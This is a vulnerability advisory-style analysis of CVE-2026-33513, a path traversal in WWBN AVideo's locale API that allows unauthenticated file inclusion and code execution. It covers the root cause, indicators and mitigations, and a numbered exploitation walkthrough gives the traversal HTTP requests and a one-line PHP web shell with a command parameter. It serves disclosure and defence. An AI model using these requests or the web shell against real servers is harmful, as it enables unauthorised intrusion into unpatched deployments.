CVE-2026-33513: 
PHP vulnerability analysis and mitigation

CVE-2026-33513 is an unauthenticated Local File Inclusion (LFI) vulnerability in WWBN AVideo, an open source video platform, that can escalate to Remote Code Execution (RCE) under certain conditions. The flaw exists in the APIName=locale API endpoint, which concatenates unsanitized user input into a PHP include path, accepting path traversal sequences without any canonicalization or allowlist validation. All versions up to and including 26.0 are affected; no patched version was available at the time of publication. The vulnerability was published on March 20, 2026, and carries a CVSS v3.1 score of 8.6 (High) per the GitHub Advisory (GitHub Advisory, AVideo Advisory).

The root cause is improper path validation (CWE-22) combined with unsafe use of PHP's include for user-controlled filenames (CWE-98). The entry point is plugin/API/get.json.php, which sets $global['bypassSameDomainCheck']=1 and merges GET/POST/JSON parameters into $parameters without requiring authentication or an API secret. The get_api_locale() method in plugin/API/API.php (lines ~5009–5023) constructs the include path as {$global['systemRootPath']}locale/{$parameters['language']}.php after only applying strtolower(), with no realpath() check or directory boundary enforcement — meaning ../ traversal sequences are accepted verbatim. Because PHP's include executes any included PHP file in the web server context, an attacker can both disclose file contents and execute arbitrary PHP code (AVideo Advisory, GitHub Advisory).

Successful exploitation allows an unauthenticated remote attacker to include and execute arbitrary PHP files under the web root, leading to high-confidence confidentiality impact through disclosure of sensitive configuration data, credentials, and application secrets. If an attacker can write or upload a PHP file anywhere in the application's directory tree (e.g., via a file upload feature), the vulnerability escalates to full unauthenticated RCE in the web server's security context. Any AVideo deployment with the API plugin enabled — which is the default in the official docker-compose configuration — is affected (AVideo Advisory, GitHub Advisory).

A proof-of-concept (PoC) with concrete HTTP request examples is publicly available in the GitHub Security Advisory, demonstrating both file disclosure and command execution without authentication (AVideo Advisory). Feedly threat intelligence classifies the exploit confidence as high, noting the advisory contains step-by-step reproduction instructions targeting real AVideo deployments. No active in-the-wild exploitation has been confirmed as of the time of reporting, and the vulnerability is not currently listed in the CISA KEV catalog. The EPSS score is approximately 0.344% (57th percentile), indicating a moderate near-term exploitation probability (GitHub Advisory).

1. Reconnaissance: Identify internet-facing AVideo instances (version ≤ 26.0) using search engines like Shodan or Censys, looking for the default AVideo web interface or the path /plugin/API/get.json.php.
2. Verify vulnerability: Send a baseline request to confirm the API endpoint is accessible and the APIName=locale handler is active:

   GET /plugin/API/get.json.php?APIName=locale&language=en HTTP/1.1
   Host: <target>

3. Test path traversal (file disclosure): Craft a request using ../ sequences to traverse outside the locale/ directory and include a known PHP file:

   GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1
   Host: <target>

   A response containing the rendered About page HTML confirms successful traversal and LFI.
4. Upload or identify a writable PHP file: If the target has a file upload feature (e.g., video uploads, avatar uploads), upload a PHP web shell (e.g., shell.php containing <?php system($_GET['x']); ?>) to a writable directory such as videos/locale/.
5. Achieve RCE: Include the uploaded shell via the traversal path and pass a command via the x parameter:

   GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami HTTP/1.1
   Host: <target>

   The response will contain the output of the executed command, confirming full RCE (AVideo Advisory, GitHub Advisory).

• Network: Unusual HTTP GET requests to /plugin/API/get.json.php with APIName=locale and a language parameter containing ../ path traversal sequences; outbound connections from the web server to unknown external IPs following such requests.
• Logs: Web server access logs showing requests matching the pattern GET /plugin/API/get.json.php?APIName=locale&language=\.\./ with HTTP 200 responses; repeated requests from a single IP to the locale API endpoint with varying traversal depths.
• File System: Unexpected PHP files (e.g., shell.php, cmd.php) appearing in writable directories such as videos/, videos/locale/, or upload directories; modification timestamps on PHP files in these directories that do not align with normal deployment activity.
• Process: Unusual child processes spawned by the web server process (e.g., Apache or Nginx worker) such as sh, bash, curl, wget, or python; unexpected outbound network connections initiated by the PHP-FPM or web server process (AVideo Advisory).

No patched version of WWBN AVideo was available at the time of publication; all versions up to and including 26.0 remain vulnerable (GitHub Advisory). As immediate workarounds, administrators should: (1) restrict network access to the /plugin/API/get.json.php endpoint via firewall rules or web server configuration; (2) disable the APIName=locale endpoint if it is not required for operations; (3) implement a Web Application Firewall (WAF) rule to block requests containing ../ or URL-encoded traversal sequences in the language parameter. For longer-term remediation, the vendor advisory recommends rejecting path separators and dots in the language parameter, using realpath() to enforce directory boundaries, replacing PHP include with safe data formats (JSON/array) for locale loading, and adding API authentication as a secondary control (AVideo Advisory).

The vulnerability was reported by security researcher Ahmad-jarwan and published by DanielnetoDotCom on March 20, 2026 (AVideo Advisory). The Hacker Wire published a write-up covering the unauthenticated path traversal to RCE attack chain (The Hacker Wire). Social media discussion was observed on Mastodon and Bluesky shortly after disclosure, with community attention focused on the lack of an available patch and the ease of unauthenticated exploitation.